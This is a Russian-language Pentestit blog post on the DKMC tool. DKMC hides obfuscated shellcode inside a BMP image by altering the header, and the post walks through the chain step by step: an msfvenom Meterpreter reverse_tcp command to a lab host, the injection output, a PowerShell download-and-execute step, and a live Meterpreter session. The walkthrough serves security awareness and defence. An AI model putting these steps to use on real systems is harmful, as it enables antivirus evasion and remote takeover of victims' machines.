Pull to refresh
0
Pentestit
Информационная безопасность

Кот или шеллКод?

Reading time3 min
Views12K


Может ли обычная картинка нести угрозу и стоит ли обращать внимание на факт загрузки изображений при разборе инцидентов информационной безопасности? На этот и другие вопросы мы ответим в данном тексте на примере работы инструмента DKMC (Don't Kill My Cat).

В чем суть?


Посмотрите на изображение ниже



Видите ли вы в нем что-то странное?

Я не вижу ничего необычного. Данное изображение загружено на сайт в формате jpeg, но его оригинал хранится в формате bmp. Если посмотреть на исходный bmp-файл в HEX-редакторе, то никаких бросающихся в глаза странностей мы тоже не увидим.



Однако это изображение содержит обфусцированный шеллкод по адресу 0x00200A04. В то же время мы не видим никаких странных пикселей на изображении. Дело в том, что в BMP заголовке высота изображения была искусственно уменьшена. В полном размере изображение выглядело бы так. Обратите внимание на правый верхний угол.



Высота оригинального изображения на 5 пикселей больше, чем вредоносного, но для человека это обычно не заметно.

Инъекция возможна из-за того, что байты, указывающие на тип файла, с которых и начинается файл, BM в ASCII, в шестнадцатеричном виде — 42 4D, при конвертации в инструкции ассемблера не приводят к ошибке выполнения, а дальнейшие 8 байт заголовка никак не влияют на интерпретацию изображения. Так что, можно заполнить эти 8 байт любыми инструкциями ассемблера, например записать в них jmp-инструкцию, которая укажет на шелл-код, хранимый в изображении, т.е. на 0x00200A04.

Далее нужно лишь как-то выполнить код, хранимый в изображении, вместо его просмотра в графическом виде.

Для этого может использоваться, например, набор PowerShell команд.

Все описанные мной действия уже автоматизированы и собраны воедино в инструменте DKMC, который мы рассмотрим ниже.

Это правда работает?


Инструмент доступен на GitHub и не требует установки. Там же, в репозитории, есть презентация, подробно описывающая принцип работы DKMC.

Запуск

python dkmc.py

Нам доступно несколько действий



Для начала нужно создать шеллкод. Для этого можно воспользоваться msfvenom

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.3 LPORT=4444 -f raw > mycode

Будет сгенерирован бек-коннект шелл на хост 192.168.1.3, порт 4444, в бинарном виде.

Далее используется опция меню sc, чтобы преобразовать код в HEX формат для его использования вдальнейшем



Далее выбирается изображение в формате BMP для инъекции шеллкода при помощи команды gen



и получаем вывод

(generate)>>> run
	[+] Image size is 1000 x 700
	[+] Generating obfuscation key 0x14ae6c1d
	[+] Shellcode size 0x14d (333) bytes
	[+] Adding 3 bytes of padding
	[+] Generating magic bytes 0x4d9d392d
	[+] Final shellcode length is 0x19f (415) bytes
	[+] New BMP header set to 0x424de9040a2000
	[+] New height is 0xb7020000 (695)
	[+] Successfully save the image. (/root/av_bypass/DKMC/output/prettycat.bmp)

Здесь сказано, что шелл-код был обфусцирован, указаны его итоговый размер, видоизмененный BMP заголовок с jump инструкцией и сказано, что высота сократилась с 700 пикселей до 695.

Далее при помощи команды ps можно сгенерировать powershell команду для загрузки данного изображения с веб-сервера и последующего его выполнения



и при помощи команды web можно тут же запустить веб-сервер для предоставления этого изображения



Я запущу сниффер Wireshark и посмотрю, что происходит в сети при запуске Powershell скрипта на стороне жертвы



Жертва инициирует обыкновенный HTTP запрос и получает картинку, а мы сессию метерпретера



Так как изображение нельзя запустить «нормальными» способами, то и средства защиты и технические специалисты могут «легкомысленно» относиться к его содержимому. Данный пример призывает внимательно относиться к настройке систем предотвращения вторжений, следить за новостями в мире информационной безопасности и быть на чеку.
Tags:
Hubs:
+21
Comments14

Articles

Change theme settings

Information

Website
www.pentestit.ru
Registered
Founded
Employees
11–30 employees
Location
Россия